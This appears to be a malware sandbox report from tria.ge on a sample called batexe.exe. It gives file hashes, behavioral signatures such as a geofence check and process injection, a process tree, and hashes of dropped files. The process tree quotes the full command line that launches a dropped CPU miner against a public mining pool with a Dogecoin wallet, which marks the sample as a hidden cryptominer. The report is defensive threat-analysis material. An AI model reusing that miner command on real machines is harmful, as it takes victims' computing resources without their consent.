Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
298s -
max time network
303s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
18/02/2024, 07:11
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 3696 b2e.exe 1220 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 1220 cpuminer-sse2.exe 1220 cpuminer-sse2.exe 1220 cpuminer-sse2.exe 1220 cpuminer-sse2.exe 1220 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/4500-8-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4500 wrote to memory of 3696 4500 batexe.exe 82 PID 4500 wrote to memory of 3696 4500 batexe.exe 82 PID 4500 wrote to memory of 3696 4500 batexe.exe 82 PID 3696 wrote to memory of 5068 3696 b2e.exe 83 PID 3696 wrote to memory of 5068 3696 b2e.exe 83 PID 3696 wrote to memory of 5068 3696 b2e.exe 83 PID 5068 wrote to memory of 1220 5068 cmd.exe 86 PID 5068 wrote to memory of 1220 5068 cmd.exe 86
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Users\Admin\AppData\Local\Temp\8E65.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\8E65.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8E65.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A5B6.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:5068 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1220
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
30.2MB
MD5c22dc2661b798e319b3cf7b3302d8346
SHA1e7a192b541fc986dd84cb30cf1c45aba57d53570
SHA2561d97c77446aa2e9f23a7590ec0c9e9bff33c265344deb3670621c7cdbd026dd0
SHA51234666246cd23b424090a849f4b5b6a42cdc1f3857584990f695bc47a9f0d3fd56c80b04feffbdd1dccc1c079d2937931017ef92144d5c88b634fdc2241835214
-
Filesize
4.6MB
MD57d7868459691a2c328873b785a431e5c
SHA16c3ff9e0d21a95df0900c498d1bd6b29b6a780d9
SHA256fc1461f288f8798085b382f92a49c1f41127d18a15ff96d5c772f58a34c032c5
SHA512e6cd8ff58d9b05ea241678f213047b679b1df9787d5f3608015764a4bf3b46bfb6c76e6b6c7407cde0c1200d5c95720a602a857710b3fe615990f4cab5269b63
-
Filesize
3.4MB
MD5d71b8d3f4a5ed91f5953e22182d3545d
SHA10ae8b80eaa2350342ad465162167b7a7b2b708e2
SHA2567784897651032862ef51e25f07a3ca75ec3ab562f2b948b986b9a77ea237d6a5
SHA51272eb20f114423f6cf6d6f72ea3ec57196dca7de4de2ef190658a25091e9873a8fbee1919bb229bcb5b91fd5dfe19d46de632b4b6db7d8b3d281bf4ab91fc6de0
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
64KB
MD542871db599b90c630b2d75268c8b0116
SHA1fb3a97b9517d4abe248a7c1a0fe0f528f40b29bc
SHA25680110dd27dac90724987601037bc7d4bccdce1afd95aeffbfd8cacd813b891cb
SHA512c32a1b46ab54abcaf179759b2aaa5aeec58a353ebe552b09ce1980ab54a9c702ae1e348c2a9c2020f74fa7c7bfb4d4bac78396f76b6bac04227436deca800438
-
Filesize
576KB
MD56e18fc4eda8ed0e6aa6ed56f84803ab3
SHA1e4a0a4432fcf3184baae1b01a8cb771ed580dbe2
SHA256f51cf1f35d722b4af4bde30de5008d67d7256d271953eeb2ff63780978f4a53f
SHA51225f97a3a07fd0aed4a5e6bd58e4cc3ebc2c56c0a314103536e9342ee10aa3c01baa24b459fb58d7154808594203e2b4fddc23f6c424182e2e8bb3a978b4dc256
-
Filesize
512KB
MD5a5993c0dd7587f1716037dcfe1f63091
SHA19a4d23ce36f5fc5791692b47d977c0bf92842879
SHA256568cec1e1bdccf401232a78c8ecf2081fdaea221f0a7c777a69ec61307cca3e3
SHA512c5457590162dc1a0fd6b179ba94f19e6265e2ca226ea1ec553358f568690bbc158335ee92c297ce699b2928d44702733269f82640d86bb499c1981a5903afc12
-
Filesize
320KB
MD5c911df8bf8c66277e14360319b0b93b7
SHA1598c59c0e7cbecb788ee676db218dc0faaa39bdc
SHA2564c53941f04ddeae2179047a1c7f8c7f7f46af0f08c424ab66d61f2316f2ee77d
SHA51213aeae87ee52f22d1c928c99c66e116254cde630c09f90b146962fa61276af13fef653b7a66184d00d614f0379750e641c2e62326ebb5588ca632e56c935d77c
-
Filesize
576KB
MD546e1c7531774dee6a7125727095ea354
SHA12248bc2bd821aded068d2e5e55f5e7271b50ab91
SHA256cecc229ea9e416207638b67d03bc6846fa188a14fe1c9e75028afb48ff4e2081
SHA512fa9dc86df3e0a8f7b2579785c03717a43eec14beab8ca3176f73d4ecb0716d047241ab30cd53518e7acd645e9f8282a20552a6fa33824c34afc5c5210cc69f2c
-
Filesize
320KB
MD5e63bf5df87e2ea807dc353cc5aa9aab1
SHA169fc94bbebe878711cb133c3a1affb80c0bdecff
SHA2562c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533
SHA51270f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd
-
Filesize
576KB
MD513746f79a51eb8ce3107de99ffc6b56a
SHA164a00c99a805f8775f08cda4e4d06e1150195347
SHA2562c04d5960f13e859d49c78a8858bdcb0c53914306eba52746105a76d98f5d205
SHA512d0e69c6cf0078c858e8258a4038098e644d611b544b6588b2b1c9d2d2937ade0472edc96257545f5935514bfa18970f5762eb393def612c5a7027727397ca8d7
-
Filesize
310KB
MD5bb4eda4852b2b0c02c911994c87ec729
SHA1245fa9a8cd0bbd0181d41c2265a699f64c61b879
SHA2563dc18afd150db1bcb41f58f6d03e45f7853aafaa6e04e621228bd05cf7c05ed2
SHA512c50d1bcb42c3c72245836dcb5b65463c33ee5e0ef64e2df475d1fcd5efac33124f2afa9e23061ce58b64e4b39c6187dbd55c6b8408504a1a13df754dcb8ecc0c
-
Filesize
256KB
MD51d86b9560854472453237bcbaa2e253f
SHA15a03a7902d250377a3e9f746badcb696e2c98228
SHA2561493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d
SHA512afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699
-
Filesize
384KB
MD5eec15153c344f43f1919cb379b9ee2f9
SHA13e4a09390ac885ea2797209603bcfa1ec6ff0cc6
SHA2564e4d7ecae87e8e656c61af89ef17146baf33fbf09ffbde6ae971d04e8e8f9222
SHA5127cdf3552341d14979838f8fedf9ac63482152f193ab8f7e0af281ec50b2a43312d78c0e22e79989818c5041538fa69769350e1e6cf0789a165be1eb11ee29908
-
Filesize
320KB
MD51ae43cc09627ff82d15527ea2693fd76
SHA1c39ffa1a4b80c29fa1f5caed3e7d091253266c66
SHA256b63980c9d592a6d0d8521f74bd4c6f7cc4ae5f8c3320d2bd63764c56648ac45f
SHA51221945e4e2fad3ee2b2a19d19bbbc1ada832c33a0d3bf499d6ac8f093b39021323ea0f7df3d54167a3456cbaf01ff126a6e6abbe17dd4eb8d5a24ca000888c271